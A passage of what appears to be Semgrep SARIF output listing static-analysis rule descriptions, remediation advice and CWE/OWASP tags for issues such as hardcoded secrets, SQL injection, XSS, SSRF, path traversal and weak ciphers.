Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret","id":"javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret","name":"javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using 'locals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'locals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"help":{"markdown":"Using 'locals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'locals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.locals-as-template-context.locals-as-template-context)\n - [https://docs.djangoproject.com/en/3.2/ref/settings/#templates](https://docs.djangoproject.com/en/3.2/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates)\n - [https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context](https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context)\n","text":"Using 'locals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'locals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"helpUri":"https://semgrep.dev/r/python.django.security.locals-as-template-context.locals-as-template-context","id":"python.django.security.locals-as-template-context.locals-as-template-context","name":"python.django.security.locals-as-template-context.locals-as-template-context","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.locals-as-template-context.locals-as-template-context"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret","id":"python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret","name":"python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request parameters in a call to `render`. This can allow end users to request arbitrary local files which may result in leaking sensitive information persisted on disk. Where possible, avoid letting users specify template paths for `render`. If you must allow user input, use an allow-list of known templates or normalize the user-supplied value with `File.basename(...)`."},"help":{"markdown":"Found request parameters in a call to `render`. This can allow end users to request arbitrary local files which may result in leaking sensitive information persisted on disk. Where possible, avoid letting users specify template paths for `render`. If you must allow user input, use an allow-list of known templates or normalize the user-supplied value with `File.basename(...)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include)\n - [https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion)\n - [https://github.com/presidentbeef/brakeman/blob/f74cb53/test/apps/rails2/app/controllers/home_controller.rb#L48-L60](https://github.com/presidentbeef/brakeman/blob/f74cb53/test/apps/rails2/app/controllers/home_controller.rb#L48-L60)\n","text":"Found request parameters in a call to `render`. This can allow end users to request arbitrary local files which may result in leaking sensitive information persisted on disk. Where possible, avoid letting users specify template paths for `render`. If you must allow user input, use an allow-list of known templates or normalize the user-supplied value with `File.basename(...)`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include","id":"ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include","name":"ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode)\n - [https://jwt-scala.github.io/jwt-scala/](https://jwt-scala.github.io/jwt-scala/)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode","id":"scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode","name":"scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Slack Token detected"},"help":{"markdown":"Slack Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-slack-token.detected-slack-token)\n - [https://github.com/davidburkitt/python-secret-scanner/blob/335a1f6dab8de59cf39063e57aea39a58951e939/patterns.txt#L58](https://github.com/davidburkitt/python-secret-scanner/blob/335a1f6dab8de59cf39063e57aea39a58951e939/patterns.txt#L58)\n","text":"Slack Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-slack-token.detected-slack-token","id":"generic.secrets.security.detected-slack-token.detected-slack-token","name":"generic.secrets.security.detected-slack-token.detected-slack-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-slack-token.detected-slack-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a python logger call with a potential hardcoded secret $FORMAT_STRING being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging  sensitive information."},"help":{"markdown":"Detected a python logger call with a potential hardcoded secret $FORMAT_STRING being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging  sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a python logger call with a potential hardcoded secret $FORMAT_STRING being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging  sensitive information."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure","id":"python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure","name":"python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure","properties":{"precision":"very-high","tags":["CWE-532: Insertion of Sensitive Information into Log File","MEDIUM CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-stdlib.db.sequelize-http.sequelize-http)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.node-stdlib.db.sequelize-http.sequelize-http","id":"javascript.node-stdlib.db.sequelize-http.sequelize-http","name":"javascript.node-stdlib.db.sequelize-http.sequelize-http","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-stdlib.db.sequelize-http.sequelize-http"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ARC4 (Alleged RC4) is a stream cipher with serious weaknesses in its initial stream output.  Its use is strongly discouraged. ARC4 does not use mode constructions. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use the `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"help":{"markdown":"ARC4 (Alleged RC4) is a stream cipher with serious weaknesses in its initial stream output.  Its use is strongly discouraged. ARC4 does not use mode constructions. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use the `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers)\n","text":"ARC4 (Alleged RC4) is a stream cipher with serious weaknesses in its initial stream output.  Its use is strongly discouraged. ARC4 does not use mode constructions. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use the `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4","id":"python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4","name":"python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password","id":"javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password","name":"javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url)\n - [https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1](https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url","id":"typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url","name":"typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf)\n - [https://laravel.com/docs/9.x/http-client](https://laravel.com/docs/9.x/http-client)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf","id":"php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf","name":"php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password","id":"python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password","name":"python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls","id":"java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls","name":"java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http and ftp (unencrypted) sites using OpenURI."},"help":{"markdown":"Checks for requests to http and ftp (unencrypted) sites using OpenURI.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request)\n - [https://ruby-doc.org/stdlib-2.6.3/libdoc/open-uri/rdoc/OpenURI.html](https://ruby-doc.org/stdlib-2.6.3/libdoc/open-uri/rdoc/OpenURI.html)\n","text":"Checks for requests to http and ftp (unencrypted) sites using OpenURI."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret","id":"javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret","name":"javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Ensure that the expiration date is set on all keys"},"help":{"markdown":"Ensure that the expiration date is set on all keys\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_key#expiration_date](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_key#expiration_date)\n - [https://docs.microsoft.com/en-us/powershell/module/az.keyvault/update-azkeyvaultkey?view=azps-5.8.0#example-1--modify-a-key-to-enable-it--and-set-the-expiration-date-and-tags](https://docs.microsoft.com/en-us/powershell/module/az.keyvault/update-azkeyvaultkey?view=azps-5.8.0#example-1--modify-a-key-to-enable-it--and-set-the-expiration-date-and-tags)\n","text":"Ensure that the expiration date is set on all keys"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires","id":"terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires","name":"terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires","properties":{"precision":"very-high","tags":["CWE-262: Not Using Password Aging","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The vpc_config resource inside the eks cluster has not explicitly disabled public endpoint access"},"help":{"markdown":"The vpc_config resource inside the eks cluster has not explicitly disabled public endpoint access\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The vpc_config resource inside the eks cluster has not explicitly 